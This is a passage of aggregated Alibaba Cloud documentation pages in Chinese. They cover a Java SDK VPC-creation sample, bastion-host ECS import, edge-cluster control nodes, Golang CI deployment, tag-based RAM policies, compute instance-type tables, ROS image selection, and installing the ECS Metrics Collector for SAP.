                  System.out.println("RequestId:" + e.getRequestId());
                  throw new RuntimeException();
              }
          }
      
          /**
           * CreateVpc    创建一个专有网络(VPC)
           */
          private static String CreateVpc(IAcsClient client) {
              CreateVpcRequest request = new CreateVpcRequest();
              // VPC的网段。您可以使用以下网段或其子集:
              // 10.0.0.0/8
              // 172.16.0.0/12(默认值)
              // 192.168.0.0/16
              request.setCidrBlock("192.168.0.0/16");
              // VPC的描述信息
              // 长度为2-256个字符,必须以字母或中文开头,但不能以http://或https://开头
              request.setDescription("DOCTest");
              // 资源组ID
              request.setResourceGroupId("rg-acfmxazb4ph6aiy");
              // VPC的名称
              // 长度为2-128个字符,必须以字母或中文开头,可包含数字,点号(.),下划线(_)和短横线(-),但不能以http:// 或https://开头
              request.setVpcName("DOCTestlalala");
              try {
                  CreateVpcResponse response = client.getAcsResponse(request);
                  System.out.println("--------------------VPC创建成功--------------------");
                  System.out.println(new Gson().toJson(response));
                  return response.getVpcId();
              } catch (ClientException e) {
                  System.out.println("ErrCode:" + e.getErrCode());
                  System.out.println("ErrMsg:" + e.getErrMsg());
                  System.out.println("RequestId:" + e.getRequestId());
                  throw new RuntimeException();
              }
          }
          /**
           * Initialization  初始化公共请求参数
           */
          private static IAcsClient Initialization() {
              // 初始化请求参数
              DefaultProfile profile = DefaultProfile.getProfile(
                      "<your-region-id>",             // 您的可用区ID
                      "<your-access-key-id>",         // 您的AccessKey ID
                      "<your-access-key-secret>");    // 您的AccessKey Secret
              return new DefaultAcsClient(profile);
          }
      }                

      执行结果

      正确的返回结果类似如下:

      --------------------VPC创建成功--------------------
      {
          "requestId": "ED0661D9-2433-4A47-9B9B-A51C63DE87A8", 
          "vpcId": "vpc-uf6o7****", 
          "vRouterId": "vrt-uf6wgeki****", 
          "routeTableId": "vtb-uf6grhi****", 
          "resourceGroupId": "rg-acfmxa****"
      }
      --------------------交换机创建成功--------------------
      {
          "RequestId":"0ED8D006-F706-4D23-88ED-E11ED28DCAC0",
          "VSwitchId":"vsw-25naue4****"
      }
      --------------------ECS实例创建成功--------------------
      {
          "RequestId":"04F0F334-1335-436C-A1D7-6C044FE73368",
          "InstanceIdSets":{
              "InstanceIdSet":[
                  "i-instanceid"
              ]
          }
      }

      ]]> 步骤1:同步阿里云ECS资产_V3.2版本_快速入门_堡垒机-阿里云 Fri, 02 May 2025 09:39:04 +0800 步骤1:同步阿里云ECS资产

      更新时间:2020-05-06 15:09:34

      本页目录

      在使用堡垒机进行主机运维前,管理员需要在堡垒机实例中添加要管理的主机资产和主机账户。本文指导管理员在堡垒机实例中导入当前阿里云账号下的ECS资产和添加主机账户。

      背景信息

      除了同步阿里云ECS资产,您还可以手动添加主机、从文件导入主机、导入RDS专有主机组,详情请参见导入其他来源主机

      导入阿里云ECS实例

      导入阿里云ECS实例指将您阿里云账号中的ECS实例列表同步到云盾堡垒机系统中。该操作不会影响您阿里云账号中的ECS实例的现有状态。具体参见以下步骤:

      1. 登录堡垒机系统,具体操作请参见登录堡垒机系统
      2. 在左侧导航栏单击资产管理 > 主机
      3. 主机页面单击导入ECS实例
      4. 选择区域对话框中,选中需要同步的ECS实例所属的区域并单击确定

        选择区域

      5. 导入ECS实例对话框中,选中需要导入的ECS并单击导入

        导入ECS实例

      操作步骤

      1. 登录堡垒机系统,具体操作请参见登录堡垒机系统
      2. 在左侧导航栏单击资产管理 > 主机
      3. 主机页面,定位到需要添加账户的主机并单击主机名称。
      4. 单击主机账户页签。
      5. 单击新建主机账户新建主机账户

        如果需要为多个主机批量添加相同的账户,您可以选中需要批量添加账户的主机并在批量列表中单击批量新增账户批量添加账户

      6. 新建主机账户对话框中,设置账户的协议登录名密码

        新建主机账户2

        如果您进行了批量添加用户操作,您需要在批量新增账户对话框中,设置账户的认证类型协议登录名密码批量配置新增账户

      7. 可选:单击验证密码

        使用验证密码可以测试账户的用户名和密码是否正确。

      8. 单击创建

      ]]> 边缘集群云端ECS节点说明_边缘托管集群管理_边缘托管集群_Kubernetes集群用户指南_容器服务Kubernetes版-阿里云 Fri, 02 May 2025 09:39:04 +0800 边缘集群云端ECS节点说明

      更新时间:2020-04-28 17:26:26

      本页目录

      本文主要介绍边缘托管集群中存在的至少一个云服务器ECS(Elastic Compute Service)节点的作用和增、删操作。

      边缘计算云端管控节点

      边缘管控节点

      在边缘托管集群创建过程中,平台会默认为您创建至少一个ECS实例,并接入到集群管控。该实例主要用来部署云端管控应用,也支持您自定义的云端管控应用部署。通过默认自带node-role.alibabacloud.com/addon: Effect: NoSchedule污点(Taints),来保证边缘业务不会部署在云端管控节点。截止1.14.8-aliyunedge.1版本,中心管控节点上默认安装的管控应用有:

      • alibaba-log-controller:日志服务LOG(Log Service,原SLS)控制器。
      • alicloud-monitor-controller:ECS云监控服务控制器。
      • metric-server:集群监控服务端。
      • edge-tunnel-server:反向运维通道服务端,支持通过原生Kubernetes API获取边缘节点、容器监控、SSH远程执行命令等操作。

      将应用部署到云端管控节点

      如果您需要在云端中心管控节点上部署自定义的管控应用,例如各种类型的operator。您需要配置容忍上述提到的污点(Taints)和对应的节点选择器(NodeSelector),配置片段如下。

           ...
            nodeSelector:
              alibabacloud.com/is-edge-worker: 'false'
              beta.kubernetes.io/arch: amd64
              beta.kubernetes.io/os: linux
            tolerations:
              - effect: NoSchedule
                key: node-role.alibabacloud.com/addon
                operator: Exists
            ...

      新增云端管控节点

      如果您需要在集群中新增云端管控节点,可以按照以下步骤操作(后续支持基于ECS的自动扩缩容能力)。

      1. 在集群所在VPC购买ECS。

        购买ECS的步骤,请参见创建ECS实例

        说明 操作系统选择CentOS 7.6。

      2. OpenAPI Explorer上使用AttachInstances API,添加ECS至集群。

        body参数如下:

        {
          "password": "Helloxxxx!",
          "tags":[],
          "instances": [
            "i-uf65mbpn1x8xxxxxx"
          ]
        }
        参数 说明
        password ECS实例密码。密码规则为8-30个字符,且至少同时包含三项(大小写字母、数字和特殊符号)。
        tags 给节点打tag标签:
        • key:标签名称。
        • value:标签值。
        instances 已有实例的数组。

        更多API信息,请参见添加ECS至Kubernetes集群

      ]]> Golang应用部署到ECS_Golang入门_快速入门_云效-阿里云 Fri, 02 May 2025 09:39:04 +0800 Golang应用部署到ECS

      更新时间:2020-03-19 10:01:23

      本页目录

      本文档会帮助您在云效创建一个 Golang Gin 的代码库, 并发布到阿里云 ECS 服务器。

      创建企业

      1. 首次进入云效,会提示您创建企业。

        golang-ecs-1

      创建流水线

      1. 进入企业后,从页面顶栏点击【研发】->【流水线】,进入流水线列表。

        golang-ecs-2

      2. 点击右上角【新建流水线】,进入流水线创建向导页面。

        golang-ecs-3

      新建代码库

      1. 在源码设置页面中,选择阿里云Code,点击代码仓库右侧【新建代码库】。

        golang-ecs-4

      2. 在弹窗中选择或创建代码组,输入新建代码仓库名称,点击【下一步】。

        golang-ecs-5

      3. 在代码模板中选择 Golang 和 golang-gin-web ,取消勾选【生成Dockerfile】,点击【确认】。您可以点击代码模板图标下的预览按钮查看即将生成的代码库文件内容。

        golang-ecs-6

      4. 代码库创建完成后会恢复到代码库选择页面并回填刚才创建代码库的信息,为了在代码提交时候触发持续集成,打开【开启监听】。然后点击【下一步】。

        golang-ecs-7

      编辑流水线

      1. 云效会识别代码库语言并推荐相应流水线模板,使用默认置顶选中的【Go测试、构建、部署到主机】流水线模板,然后点击【创建】。

        golang-ecs-8

      2. 填写流水线名称,点击【下一步】。

        golang-ecs-9

      3. 部署配置。点击阶段【部署】进行部署配置。在任务列表中选择【主机部署】,选择由构建环节产出的待部署【制品】。

        golang-ecs-10

      4. 新建应用。在【应用】下拉框中选择【新建应用】填写应用名称,点击【确认】。

        golang-ecs-11

      5. 新建环境。在【环境】下拉框中选择【新建环境】,填写环境名称,点击【机器配置】。

        golang-ecs-12

      6. 进行机器配置,点击【导入ECS】链接,跳转到导入 ECS 界面。

        golang-ecs-13

      导入 ECS 机器

      1. 申请一台阿里云ECS服务器,具体方式参见 ECS 文档,请确保该ECS环境上预装了 go 并有公网IP,或者有SLB与之关联,以便进行功能验证。
      2. 在机器管理页面,点击【导入 ECS】。

        golang-ecs-14

      3. 在弹出框中选择新建 ECS 所在区域,选择实例,点击【导入】。

        golang-ecs-15

      4. 等待大概1分钟左右,刷新页面,可以看到机器状态为【正常】。

        golang-ecs-16

      5. 机器导入后回到【机器配置】页面,点击【刷新】按钮,可以看到刚才导入的机器。

        golang-ecs-17

      6. 选择机器,并将其加入到右侧列表,填写【环境名称】然后点击【确认】保存。

        golang-ecs-18

      运行流水线

      1. 此时流水线已经编辑完成,点击右上角的【运行】,即可保存并触发流水线。

        golang-ecs-19

      2. 运行成功。

        golang-ecs-20

      查看测试报告

      1. 选中【构建测试】阶段,可以查看单元测试运行日志和【测试报告】。

        golang-ecs-21

      查看部署结果

      1. 点击【发布详情】-> 【打开发布单】可以查看部署单。在部署单中可以查看每台机器的部署情况和日志。

        golang-ecs-22

      2. 访问 ECS 的公网 IP 的 8080 端口,可以看到服务运行起来了。

        golang-ecs-23

      ]]> 利用标签对ECS实例进行分组授权_教程_访问控制-阿里云 Fri, 02 May 2025 09:39:04 +0800 利用标签对ECS实例进行分组授权

      更新时间:2020-02-24 11:37:34

       · 编辑者

      全部>

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      本文介绍了如何利用标签对ECS实例进行分组并授权,以满足RAM用户只能查看和操作被授权资源的需求。

      前提条件

      • 进行操作前,请确保您已经注册了阿里云账号。如还未注册,请先完成账号注册
      • 请确保您已经开通RAM服务并登录RAM控制台。如还未开通,请先开通RAM服务。详情请参见开通方法

      背景信息

      假设您的账号购买了10个ECS实例,其中5个想要授权给dev团队,另外5个授权给ops团队。企业希望每个团队只能查看被授权的ECS实例,未被授权的不允许查看。

      解决方案

      创建两个用户组,通过绑定标签将ECS实例分成2个组并授权给对应的用户组。

      • 其中5个实例绑定一对标签,标签键是team,标签值是dev。
      • 另外5个实例绑定另一对标签,标签键是team,标签值是ops。

      操作步骤

      1. 登录ECS控制台,选择一个实例,在操作列表下,单击更多 > 实例设置 > 编辑标签
      2. 单击新建标签,输入标签键和标签值,单击确定

        说明 将所有机器分别打上对应的标签。

      3. 登录RAM控制台创建两个用户组:dev和ops。

        详情请参见创建用户组

      4. 创建不同的RAM账号,并添加到相应的用户组下。

        详情请参见创建RAM用户

      5. 创建两个自定义策略,分别授权给两个用户组。

        详情请参见为用户组授权

        说明 授权后RAM用户已继承对应用户组的相关权限。

        例如:给dev组授权的自定义策略名称是policyForDevTeam,策略内容如下:

        {
            "Statement": [
            {
                "Action": "ecs:*",
                "Effect": "Allow",
                "Resource": "*",
                "Condition": {
                    "StringEquals": {
                        "ecs:tag/team": "dev"
                    }
                }
            },
            {
                "Action": "ecs:DescribeTag*",
                "Effect": "Allow",
                "Resource": "*"
            }
            ],
            "Version": "1"
        }

        在上述权限策略中:

        • 带有Condition"Action": "ecs:*"部分用于过滤标签为"team": "dev"的资源。
        • "Action": "ecs:DescribeTag*"用于展示所有标签。当RAM用户在操作ECS控制台时,系统展示出所有标签供RAM用户选择,只有当RAM用户选择了标签值后,系统才能根据选中的标签值过滤相应资源。

        说明 根据上述自定义策略,创建另一个policyForOpsTeam权限策略并授权给ops用户组。

      显示被授权实例

      1. RAM用户登录ECS控制台

        说明 登录控制台后,系统默认跳转到ECS概览页,此时RAM用户看到的实例数为0,如需查看相关实例,请切换到实例菜单。

      2. 在左侧导航栏,单击实例

        说明 请确保控制台展示的当前地域是期望地域。

      3. 在搜索栏旁边,单击标签
      4. 鼠标悬停在标签键上,在标签键列表的右侧会展示出对应的标签值,单击对应的标签值,系统可以过滤出相应资源。

        说明 选中标签值之后,系统才可以过滤出相应资源。

      后续步骤

      利用标签对安全组、云盘、快照或镜像进行分组授权的方法与上述对实例分组授权的方法相同。

      说明 镜像中只有自定义镜像支持绑定标签。

      ]]> 计算型_选择实例规格_实例_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 计算型

      更新时间:2020-05-14 14:47:27

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      本章节介绍云服务器ECS计算型实例规格族的特点,并列出了具体的实例规格。

      计算型实例规格族c6

      c6的特点如下:

      • 依托神龙架构,将大量虚拟化功能卸载到专用硬件,降低虚拟化开销,提供稳定可预期的超高性能
      • I/O优化实例
      • 支持ESSD云盘、SSD云盘和高效云盘

        说明 不同实例规格族的云盘性能上限不同,单台c6实例最高支持20万IOPS。如果需要更高的存储I/O性能,建议您选用g5se,详细信息请参见存储增强型实例规格族g5se

      • 实例存储I/O性能与计算规格对应(规格越高存储I/O性能越强)

        说明 全新一代企业级实例规格族的存储I/O性能表请参见存储I/O性能

      • 支持开启或关闭超线程配置

        说明 ECS实例默认开启超线程配置,更多信息请参见自定义CPU选项

      • 处理器与内存配比为1:2
      • 超高网络PPS收发包能力
      • 处理器:2.5 GHz主频的Intel ® Xeon ® Platinum 8269CY(Cascade Lake),睿频3.2 GHz,计算性能稳定
      • 实例网络性能与计算规格对应(规格越高网络性能越强)
      • 支持变配为g6或r6
      • 适用场景:
        • 高网络包收发场景,例如视频弹幕、电信业务转发等
        • Web前端服务器
        • 大型多人在线游戏(MMO)前端
        • 数据分析、批量计算、视频编码
        • 高性能科学和工程应用

      c6包括的实例规格及指标数据如下:
      实例规格 vCPU 内存(GiB) 本地存储(GiB) 网络基础带宽能力(出/入)(Gbit/s) 网络突发带宽能力(出/入)(Gbit/s) 网络收发包能力(出+入)(万PPS) 支持IPv6 多队列 弹性网卡(包括一块主网卡) 单块弹性网卡的私有IP 云盘IOPS(万) 云盘带宽(Gbit/s)
      ecs.c6.large 2 4.0 1.0 3.0 30 2 2 6 1.0 1
      ecs.c6.xlarge 4 8.0 1.5 5.0 50 4 3 10 2.0 1.5
      ecs.c6.2xlarge 8 16.0 2.5 8.0 80 8 4 10 2.5 2
      ecs.c6.3xlarge 12 24.0 4.0 10.0 90 8 6 10 3.0 2.5
      ecs.c6.4xlarge 16 32.0 5.0 10.0 100 8 8 20 4.0 3
      ecs.c6.6xlarge 24 48.0 7.5 10.0 150 12 8 20 5.0 4
      ecs.c6.8xlarge 32 64.0 10.0 200 16 8 20 6.0 5
      ecs.c6.13xlarge 52 96 12.5 300 32 7 20 10.0 8
      ecs.c6.26xlarge 104 192.0 25.0 600 32 15 20 20.0 16

      说明

      计算型实例规格族c5

      c5的特点如下:

      • I/O优化实例
      • 支持ESSD云盘、SSD云盘和高效云盘

        说明 不同实例规格族的云盘性能上限不同,单台c5实例最高支持20万IOPS。如果需要更高的存储I/O性能,建议您选用g5se,详细信息请参见存储增强型实例规格族g5se

      • 处理器与内存配比为1:2
      • 超高网络PPS收发包能力
      • 处理器:2.5 GHz主频的Intel ® Xeon ® Platinum 8163(Skylake)或者8269CY(Cascade Lake),计算性能稳定
      • 实例网络性能与计算规格对应(规格越高网络性能越强)
      • 适用场景:
        • 高网络包收发场景,例如视频弹幕、电信业务转发等
        • Web前端服务器
        • 大型多人在线游戏(MMO)前端
        • 数据分析、批量计算、视频编码
        • 高性能科学和工程应用

      c5包括的实例规格及指标数据如下:
      实例规格 vCPU 内存(GiB) 本地存储(GiB) 网络带宽能力(出/入)(Gbit/s) 网络收发包能力(出+入)(万PPS) 支持IPv6 多队列 弹性网卡(包括一块主网卡) 单块弹性网卡的私有IP
      ecs.c5.large 2 4.0 1.0 30 2 2 6
      ecs.c5.xlarge 4 8.0 1.5 50 2 3 10
      ecs.c5.2xlarge 8 16.0 2.5 80 2 4 10
      ecs.c5.3xlarge 12 24.0 4.0 90 4 6 10
      ecs.c5.4xlarge 16 32.0 5.0 100 4 8 20
      ecs.c5.6xlarge 24 48.0 7.5 150 6 8 20
      ecs.c5.8xlarge 32 64.0 10.0 200 8 8 20
      ecs.c5.16xlarge 64 128.0 20.0 400 16 8 20

      说明

      密集计算型实例规格族ic5

      ic5的特点如下:

      • I/O优化实例
      • 支持ESSD云盘、SSD云盘和高效云盘
      • 处理器与内存配比为1:1
      • 超高网络PPS收发包能力
      • 处理器:2.5 GHz主频的Intel ® Xeon ® Platinum 8163(Skylake)或者8269CY(Cascade Lake),计算性能稳定
      • 实例网络性能与计算规格对应(规格越高网络性能越强)
      • 适用场景:
        • Web前端服务器
        • 数据分析、批量计算、视频编码
        • 高网络包收发场景,例如视频弹幕、电信业务转发等
        • 大型多人在线游戏(MMO)前端

      ic5包括的实例规格及指标数据如下:
      实例规格 vCPU 内存(GiB) 本地存储(GiB) 网络带宽能力(出/入)(Gbit/s) 网络收发包能力(出+入)(万PPS) 支持IPv6 多队列 弹性网卡(包括一块主网卡) 单块弹性网卡的私有IP
      ecs.ic5.large 2 2.0 1.0 30 2 2 6
      ecs.ic5.xlarge 4 4.0 1.5 50 2 3 10
      ecs.ic5.2xlarge 8 8.0 2.5 80 2 4 10
      ecs.ic5.3xlarge 12 12.0 4.0 90 4 6 10
      ecs.ic5.4xlarge 16 16.0 5.0 100 4 8 20

      说明

      计算网络增强型实例规格族sn1ne

      sn1ne的特点如下:

      • I/O优化实例
      • 仅支持SSD云盘和高效云盘
      • 处理器与内存配比为1:2
      • 超高网络PPS收发包能力
      • 处理器:2.5 GHz主频的Intel ® Xeon ® E5-2682 v4(Broadwell)或Platinum 8163(Skylake),计算性能稳定
      • 实例网络性能与计算规格对应(规格越高网络性能越强)
      • 适用场景:
        • 高网络包收发场景,例如视频弹幕、电信业务转发等
        • Web前端服务器
        • 大型多人在线游戏(MMO)前端
        • 数据分析、批量计算、视频编码
        • 高性能科学和工程应用

      sn1ne包括的实例规格及指标数据如下:
      实例规格 vCPU 内存(GiB) 本地存储(GiB) 网络带宽能力(出/入)(Gbit/s) 网络收发包能力(出+入)(万PPS) 支持IPv6 多队列 弹性网卡(包括一块主网卡) 单块弹性网卡的私有IP
      ecs.sn1ne.large 2 4.0 1.0 30 2 2 6
      ecs.sn1ne.xlarge 4 8.0 1.5 50 2 3 10
      ecs.sn1ne.2xlarge 8 16.0 2.0 100 4 4 10
      ecs.sn1ne.3xlarge 12 24.0 2.5 130 4 6 10
      ecs.sn1ne.4xlarge 16 32.0 3.0 160 4 8 20
      ecs.sn1ne.6xlarge 24 48.0 4.5 200 6 8 20
      ecs.sn1ne.8xlarge 32 64.0 6.0 250 8 8 20

      说明

      相关链接

      ]]> 如何为ECS资源指定镜像_常见问题_资源编排-阿里云 Fri, 02 May 2025 09:39:04 +0800 如何为ECS资源指定镜像

      更新时间:2020-05-28 14:04:31

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      本文为您介绍如何通过资源编排服务ROS(Resource Orchestration Service)为ECS资源指定镜像。

      前提条件

      进行操作前,请确保您已经注册了阿里云账号。如还未注册,请先完成账号注册

      背景信息

      当您使用以下四种资源类型创建ECS时,需要为相应的ECS资源指定镜像:

      在编辑资源栈模板时,可通过以下三种方式指定ImageId:

      • 直接指定需要的具体镜像ID
      • 通过模糊的方式指定需要的镜像
      • 通过镜像参数的AssociationProperty属性,选择当前可用的镜像

      直接指定需要的具体镜像ID

      如果您明确知道需要的镜像ID,则直接指定这个ImageId即可。

      1. 登录ECS管理控制台
      2. 在左侧导航栏,选择实例与镜像>镜像
      3. 单击公共镜像

        页面上即展示当前用户可用的镜像ID。

      4. 在模板中,指定ImageId做为您需要的某个镜像ID。

        "ImageId": { "Type": "String", "Description": "Image Id, represents the image resource to startup one ECS instance", "Default": "centos_7_04_64_20G_alibase_201701015.vhd" },

      通过模糊的方式指定需要的镜像

      如果对镜像的版本没有要求(只要是CentOS或者Ubuntu系列即可),则可以使用模糊指定的方式指定镜像ID。ROS会根据输入的镜像值,匹配最合适的镜像ID。

      匹配的规则如下:

      • 如果只指定镜像的系列,例如CentOS、Win或Ubuntu,则会匹配当前最高版本的64位镜像。
      • 如果指定镜像同时指定了镜像的大版本号,例如CentOS_6、Ubutun_14或Win2008r2,则会选择在CentOS 6中64位的最新版本、Ubuntu 14中64位的最新版本或Win2008r2中64位的最新版本。
      • 可以使用星号(*)替代镜像ID中的某个字段,例如centos_6_09_64_20G_alibase*.vhd,则会使用公共镜像中最新的 centos_6_09_64_20G_alibase版本。 在ROS的模板样例中使用模糊匹配的方式。很多涉及到指定镜像的地方,均以CentOS_7或者Ubuntu_14指定。

      示例如下:

      "ImageId": {
         "Type": "String",
         "Description": "ECS Image",
         "Label": "ECS Image",
         "Default": "centos_7"
       },

      通过镜像参数的AssociationProperty属性,选择当前可用的镜像

      如果通过在模板中把ECS的镜像ID定义成一个参数,则可以在定义参数时添加AssociationProperty指定。ROS在做参数解析时,能自动以列表的形式,展示当前Region下有哪些可用的镜像ID,您只需要选择即可。

      使用AssociationProperty定义参数的示例如下:

         "ImageId": {
            "AssociationProperty":"ALIYUN::ECS::Instance:ImageId",
            "Type" : "String",
            "Default": "centos_7_04_64_20G_alibase_201701016.vhd",
            "Description": " 自动获取可选择的镜像 ID"
          }            

      ROS除显示可选镜像参数以外,会提示镜像ID参数的默认值,或者AllowedValues中指定的值是否可用。您可以选择合适的镜像ID创建ECS资源。

      ]]> ECS Metrics Collector for SAP部署指南_最佳实践_SAP 解决方案-阿里云 Fri, 02 May 2025 09:39:04 +0800 ECS Metrics Collector for SAP部署指南

      更新时间:2020-03-17 11:14:30

      本页目录

      版本管理

      版本 修订日期 变更类型 生效日期
      1.0 2018/5/31
      1.1 2018/6/11 更新安装准备条件说明 2018/6/12
      1.2 2019/1/7 1.更新常见问题
      2.更新RAM2.0操作说明
      2019/1/7
      1.3 2020/3/13 1.Linux平台的版本更新,支持OpenAPI内网调用
      2.RAM角色配置更新
      3.排版优化等
      2020/3/13

      概述

      当SAP系统运行在ECS上时,SAP Host Agent通过Metrics Collector代理调用阿里云的metadata服务和OpenAPI获取需要的信息,用于收集SAP系统监控所需信息(包括硬件、网络、存储、SAP架构方面等),并将其提供给SAP应用程序,用于事物和系统运行性能分析。

      对于运行SAP系统的每个ECS实例(包括数据库和应用),都需要安装Metrics Collector for SAP监控代理程序。

      下图是Metrics Collector的整体框架

      mc-01

      安装前准备

      创建RAM角色

      监控代理程序 ECS Metrics Collector 的运行需要特定的 RAM 服务角色和访问授权。

      有关 RAM(访问控制)角色设置的更多信息,请参阅如何通过控制台使用实例 RAM 角色

      如果本机已经或打算安装HBR(混合云备份)客户端,请直接转至步骤5,将这两个策略授权给“AliyunECSAccessingHBRRole”角色,然后再将此角色授权给本机即可。

      1.登录 ECS 控制台

      2.在左侧导航窗格中,选择或搜索“访问控制”

      ram-01

      3.打开访问控制服务控制台,选择RAM角色管理,单击新建RAM角色

      请注意:以下是基于RAM2.0版本的界面,旧版本的描述可能会存在差异

      4.选择 阿里云服务 类型, ECS云服务器 ,并输入角色名称,例如 ecs-metrics-collector,点击 确定 ram-02

      5.单击添加权限。输入策略 AliyunECSReadOnlyAccessAliyunCloudMonitorReadOnlyAccess 并将其分配给您的 RAM 服务角色

      这两个角色是授权Metrics Collector只读访问ECS信息和只读访问云监控资源信息

      ram-03

      将策略授权给角色“AliyunECSAccessingHBRRole”的示例如下:

      ram-03

      6.单击确定,完成策略分配。 ram-04

      RAM角色配置

      将您创建的 RAM 服务角色挂载至您的 SAP ECS 实例。

      • 打开 ECS 控制台,转到实例选项卡,找到您的 ECS 实例

      • 更多操作的下拉列表中选择绑定/解绑 RAM 角色ram-10

      • 选择您在开始时创建的 RAM 服务角色。ram-11

      如果本机已经或打算安装HBR(混合云备份)客户端,这里请授予“AliyunECSAccessingHBRRole”角色
      • 点击“确定”以挂载角色。

      关于绑定/解绑 RAM 角色的更多信息,请参考如何通过控制台使用实例 RAM 角色

      SAP Host Agent的安装

      需要SAP market place的服务账号登录

      Metrics collector需要结合SAP Host Agent才能正常使用。安装SAP Host Agent请参考 1031096 - Installing Package SAPHOSTAGENT

      PrivateZone配置

      调用阿里云的OpenAPI默认需要公网访问,Metrics collector需要调用ECS和VPC的OpenAPI取数,结合云解析的PrivateZone功能可以实现内网调用ECS和VPC的OpenAPI的效果,使SAP系统的访问仅限于内网环境,满足企业安全管理的需求。

      登录阿里云控制台-》云解析DNS-》PrivateZone,新建ECS和VPC的Zone,示例如下:

      请按需替换成您所在的地域ID,vpc.[region ID].aliyuncs.com和ecs.[region ID].aliyuncs.com。本示例的地域:beijing

      1.新建名为vpc.cn-beijing.aliyuncs.com和ecs.cn-beijing.aliyuncs.com的Zone(不用勾选“子域名递归解析代理”)mc-15

      2.分别点击“解析设置”,添加CNAME解析

      vpc.cn-beijing.aliyuncs.com的CNAME配置:

      mc-15

      ecs.cn-beijing.aliyuncs.com的CNAME配置:

      mc-15

      3.关联这两个Zone所在的VPCmc-15

      4.验证配置请确认集群的两台ECS当前无外网出口(卸载EIP或者关闭NAT等),处于纯内网环境。ping VPC和ECS的API域名正常,且返回地址为100.100.x.x,表示privatezone配置成功。

      1. # ping vpc.cn-beijing.aliyuncs.com
      2. PING popunify-vpc.cn-beijing.aliyuncs.com (100.100.80.162) 56(84) bytes of data.
      3. 64 bytes from 100.100.80.162: icmp_seq=1 ttl=102 time=0.065 ms
      4. 64 bytes from 100.100.80.162: icmp_seq=2 ttl=102 time=0.087 ms
      5. 64 bytes from 100.100.80.162: icmp_seq=3 ttl=102 time=0.106 ms
      6. 64 bytes from 100.100.80.162: icmp_seq=4 ttl=102 time=0.107 ms
      7. --- popunify-vpc.cn-beijing.aliyuncs.com ping statistics ---
      8. 4 packets transmitted, 4 received, 0% packet loss, time 3058ms
      9. rtt min/avg/max/mdev = 0.065/0.091/0.107/0.018 ms
      10. # ping ecs.cn-beijing.aliyuncs.com
      11. PING popunify-vpc.cn-beijing.aliyuncs.com (100.100.80.162) 56(84) bytes of data.
      12. 64 bytes from 100.100.80.162: icmp_seq=1 ttl=102 time=0.065 ms
      13. 64 bytes from 100.100.80.162: icmp_seq=2 ttl=102 time=0.093 ms
      14. 64 bytes from 100.100.80.162: icmp_seq=3 ttl=102 time=0.129 ms
      15. 64 bytes from 100.100.80.162: icmp_seq=4 ttl=102 time=0.102 ms
      16. --- popunify-vpc.cn-beijing.aliyuncs.com ping statistics ---
      17. 4 packets transmitted, 4 received, 0% packet loss, time 3059ms
      18. rtt min/avg/max/mdev = 0.065/0.097/0.129/0.023 ms

      5.当前VPC和ECS支持的region和对应的域名如下:

      地域 地域ID CNAME记录 接入地址(ECS Zone名称) 接入地址(VPC Zone名称)
      华北 2(北京) cn-beijing popunify-vpc.cn-beijing.aliyuncs.com ecs.cn-beijing.aliyuncs.com vpc.cn-beijing.aliyuncs.com
      华东 1(杭州) cn-hangzhou popunify-vpc.cn-hangzhou.aliyuncs.com ecs.cn-hangzhou.aliyuncs.com vpc.cn-hangzhou.aliyuncs.com
      华东 2(上海) cn-shanghai popunify-vpc.cn-shanghai.aliyuncs.com ecs.cn-shanghai.aliyuncs.com vpc.cn-shanghai.aliyuncs.com
      华南 1(深圳) cn-shenzhen popunify-vpc.cn-shenzhen.aliyuncs.com ecs.cn-shenzhen.aliyuncs.com vpc.cn-shenzhen.aliyuncs.com
      华北 5(呼和浩特) cn-huhehaote popunify-vpc.cn-huhehaote.aliyuncs.com ecs.cn-huhehaote.aliyuncs.com vpc.cn-huhehaote.aliyuncs.com
      华北 3(张家口) cn-zhangjiakou popunify-vpc.cn-zhangjiakou.aliyuncs.com ecs.cn-zhangjiakou.aliyuncs.com vpc.cn-zhangjiakou.aliyuncs.com
      德国(法兰克福) eu-central-1 popunify-vpc.eu-central-1.aliyuncs.com ecs.eu-central-1.aliyuncs.com vpc.eu-central-1.aliyuncs.com

      还不支持PrivateZone的地域,可以结合NAT产品的SNAT功能来实现公网直接调用OpenAPI的方案。

      ECS Metrics Collector的安装和卸载

      Linux平台

      安装 ECS Metrics Collector

      linux

      1、使用具有 root 权限的用户帐户登录您的 SAP ECS 实例

      为使用 root 权限,您需要使用 sudo,因此您的用户必须属于 sudo 组。

      2、通过云助手安装 ECS Metrics Collector

      Metrics collector工具需要python的支持,请确保pip已经被正常安装(下载软件时需要连接外网)

      1. wget https://bootstrap.pypa.io/get-pip.py
      2. python get-pip.py
      3. pip -V  #查看pip版本

      安装程序会自动选择当前的最新版本安装,这里的最新版本是0.11

      1. # aliyun_installer -i ecs-metrics-collector
      2. The latest version of ecs-metrics-collector in the software repository is 0.11
      3. Downloading...
      4. Check MD5
      5. Unzip
      6. Installing...
      7. see details in installation log file: /var/log/ecs_metrics_collector/install.log
      8. [DEBUG] prepare_env
      9. [DEBUG] account_check
      10. [DEBUG] distro_check
      11. [DEBUG] init_system_check
      12. [DEBUG] system_restraint_check
      13. [DEBUG] package_check
      14. [DEBUG] python_env_check
      15. [DEBUG] install_collector
      16. [DEBUG] install_watchmen
      17. [DEBUG] install_reaper
      18. [DEBUG] install_service
      19. Installation success !

      验证 Metrics Collector 的安装

      3、通过以下操作验证 ECS Metrics Collector 服务是否正常

      1. systemctl status ecs_metrics_collector

      metrics-2

      4、使用以下命令,验证在 crontab 中是否已配置监听任务和自动更新任务,同时也可以通过运行日志检查程序运行状态

      1. cat /etc/cron.d/ecs_metrics_collector
      2. cat /var/log/ecs_metrics_collector/watchmen.log

      metrics-3

      在 ECS Metrics Collector 安装过程中,这两个任务将自动添加至 crontab。自动更新任务每1小时自动在云助手服务器上检查一次 ECS Metrics Collector 的最新版本,一旦有新版本可用将在后台自动完成升级。

      检查收集的监控项数据

      5、验证数据的收集

      1. curl localhost:8888 | vim -

      curl

      卸载ECS Metrics Collector

      使用具有 root 权限的用户帐户登录您的 SAP ECS 实例
      运行卸载命令: aliyun_installer -u ecs-metrics-collector

      curl

      更多操作命令

      有关metrics collector更多的命令,可以通过aliyun_installer --h查询

      Windows平台

      windows

      1、使用具有管理员(administrators组) 权限的用户帐户登录您的 SAP ECS 实例

